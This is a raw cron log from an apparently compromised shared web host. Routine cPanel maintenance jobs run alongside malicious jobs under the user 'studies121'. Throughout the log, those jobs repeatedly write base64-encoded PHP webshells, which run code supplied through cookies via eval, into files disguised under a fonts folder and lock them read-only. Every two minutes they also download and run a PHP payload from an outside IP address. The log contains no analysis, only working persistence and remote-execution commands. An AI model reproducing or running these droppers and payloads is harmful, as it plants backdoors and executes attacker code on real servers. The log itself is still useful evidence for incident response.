Sep  8 09:38:01 ip-184-168-122-23 CROND[25687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:38:01 ip-184-168-122-23 CROND[25686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:38:01 ip-184-168-122-23 CROND[25690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:38:01 ip-184-168-122-23 CROND[25695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:38:01 ip-184-168-122-23 CROND[25696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:39:01 ip-184-168-122-23 CROND[25877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:39:01 ip-184-168-122-23 CROND[25878]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 09:39:01 ip-184-168-122-23 CROND[25879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:39:01 ip-184-168-122-23 CROND[25880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:39:01 ip-184-168-122-23 CROND[25883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:40:01 ip-184-168-122-23 CROND[26102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:40:01 ip-184-168-122-23 CROND[26104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:40:01 ip-184-168-122-23 CROND[26105]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:40:01 ip-184-168-122-23 CROND[26109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:40:01 ip-184-168-122-23 CROND[26113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:40:01 ip-184-168-122-23 CROND[26114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:40:01 ip-184-168-122-23 CROND[26111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:40:01 ip-184-168-122-23 CROND[26112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:41:01 ip-184-168-122-23 CROND[26249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:41:01 ip-184-168-122-23 CROND[26250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:41:01 ip-184-168-122-23 CROND[26253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:41:01 ip-184-168-122-23 CROND[26251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:42:01 ip-184-168-122-23 CROND[26423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:42:01 ip-184-168-122-23 CROND[26425]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:42:01 ip-184-168-122-23 CROND[26428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:42:01 ip-184-168-122-23 CROND[26426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:42:01 ip-184-168-122-23 CROND[26427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:43:01 ip-184-168-122-23 CROND[26579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:43:01 ip-184-168-122-23 CROND[26581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:43:01 ip-184-168-122-23 CROND[26583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:43:01 ip-184-168-122-23 CROND[26582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:44:01 ip-184-168-122-23 CROND[26682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:44:01 ip-184-168-122-23 CROND[26684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:44:01 ip-184-168-122-23 CROND[26685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:44:01 ip-184-168-122-23 CROND[26687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:44:01 ip-184-168-122-23 CROND[26686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:45:01 ip-184-168-122-23 CROND[26895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:45:01 ip-184-168-122-23 CROND[26899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:45:01 ip-184-168-122-23 CROND[26898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:45:01 ip-184-168-122-23 CROND[26901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:45:01 ip-184-168-122-23 CROND[26902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:45:01 ip-184-168-122-23 CROND[26900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:46:01 ip-184-168-122-23 CROND[27037]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:46:01 ip-184-168-122-23 CROND[27039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:46:01 ip-184-168-122-23 CROND[27041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:46:01 ip-184-168-122-23 CROND[27042]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 09:46:01 ip-184-168-122-23 CROND[27043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:46:01 ip-184-168-122-23 CROND[27045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:46:01 ip-184-168-122-23 CROND[27044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:47:01 ip-184-168-122-23 CROND[27168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:47:01 ip-184-168-122-23 CROND[27169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:47:01 ip-184-168-122-23 CROND[27170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:47:01 ip-184-168-122-23 CROND[27171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:48:01 ip-184-168-122-23 CROND[27331]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:48:01 ip-184-168-122-23 CROND[27332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:48:01 ip-184-168-122-23 CROND[27335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:48:01 ip-184-168-122-23 CROND[27336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:48:01 ip-184-168-122-23 CROND[27338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:49:01 ip-184-168-122-23 CROND[27451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:49:01 ip-184-168-122-23 CROND[27454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:49:01 ip-184-168-122-23 CROND[27456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:49:01 ip-184-168-122-23 CROND[27455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:50:01 ip-184-168-122-23 CROND[27564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:50:01 ip-184-168-122-23 CROND[27569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:50:01 ip-184-168-122-23 CROND[27568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:50:01 ip-184-168-122-23 CROND[27570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:50:01 ip-184-168-122-23 CROND[27572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
